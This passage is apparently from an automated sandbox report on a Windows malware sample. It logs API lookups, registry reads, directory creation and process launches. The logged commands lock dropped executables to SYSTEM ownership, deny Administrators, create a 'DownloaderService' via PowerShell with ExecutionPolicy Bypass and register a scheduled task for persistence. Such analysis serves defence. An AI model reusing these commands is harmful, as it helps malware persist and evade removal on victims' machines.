"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "3024,,RtlGetVersion,NTDLL.dl" (Indicator: "GetVersion"; Source: "00000000-00001648.00000000.93993.02FC0000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")46:T1444,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queries volume information of "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" at 00000000-00007344-00000C17-402980465 "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll" at 00000000-00007344-00000C17-405588081 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00005808-00000C17-413950106 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005808-00000C17-414161170 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005808-00000C17-416165929 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00005808-00000C17-416318692 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00005808-00000C17-416338582 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005808-00000C17-416345142 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005808-00000C17-416427880 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005808-00000C17-416459417 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005808-00000C17-416459646 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00005808-00000C17-417112261 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005808-00000C17-417420128 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005808-00000C17-417474893 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005808-00000C17-417475144 "powershell.exe" queries volume information of "C:\" at 00000000-00005808-00000C17-418144015 "powershell.exe" queries volume information of "C:\share" at 00000000-00005808-00000C17-418145885 "powershell.exe" queries volume information of "C:\share" at 00000000-00005808-00000C17-418268612 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005808-00000C17-419580664 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005808-00000C17-420153261 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005808-00000C17-420311271 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005808-00000C17-420551608 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00005808-00000C17-420605069 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00005808-00000C17-420638777 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll" at 00000000-00005808-00000C17-42065531547:T8c4,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")48:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")49:T411,"systemhelper.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00007624) "systemhelper.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00007624) "systemhelper.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00007624) "systemhelper.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00007624) "systemhelper.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00007624) "systemhelper.exe" called "CreateDirectoryW" with parameter hater (UID: 00000000-00007624) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\12178360101\ (UID: 00000000-00001648) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\12178860101\ (UID: 00000000-00001648) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\12178870101\ (UID: 00000000-00001648) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\12178880101\ (UID: 00000000-00001648)4a:T1149,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\074cec0065bd7f" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c net start "DownloaderService"" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "%TEMP%\WindowsLogsHelper.xml" /f" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c start "" "%WINDIR%\winloghelper.exe"" - (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "CreateProcessW" with parameter ""cmd.exe" /c start "" "%WINDIR%\systemhelper.exe"" - (UID: 00000000-00007344) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00004696) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00007588) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00006640) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00003676) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00007996) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00006500) "cmd.exe" called "CreateProcessW" with parameter "powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\074cec0065bd7fa9ad545a44a7" - (UID: 00000000-00002988) "cmd.exe" called "CreateProcessW" with parameter "net start "DownloaderService"" - (UID: 00000000-00008164) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\sROBvkl9.exe" /setowner "SYSTEM"" - (UID: 00000000-00001896) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\sROBvkl9.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00007720) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\sROBvkl9.exe" /remove:d Everyone Administrators" - (UID: 00000000-00000784) "cmd.exe" called "CreateProcessW" with parameter "schtasks /create /tn "WindowsLogsHelper" /xml "%TEMP%\WindowsLogsHelper.xml" /f" - (UID: 00000000-00008072) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\winloghelper.exe"" - (UID: 00000000-00007776) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\systemhelper.exe"" - (UID: 00000000-00004124)4b:T75ba,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007344) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004696) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004696) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004696) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004696) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007588) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007588) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007588) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007588) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006640) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006640) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006640) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006640) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003676) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003676) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003676) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003676) "icacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004360) "icacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004360) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007996) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007996) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007996) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007996) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006500) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006500) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006500) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006500) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002988) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002988) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002988) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002988) "powershell.exe" called 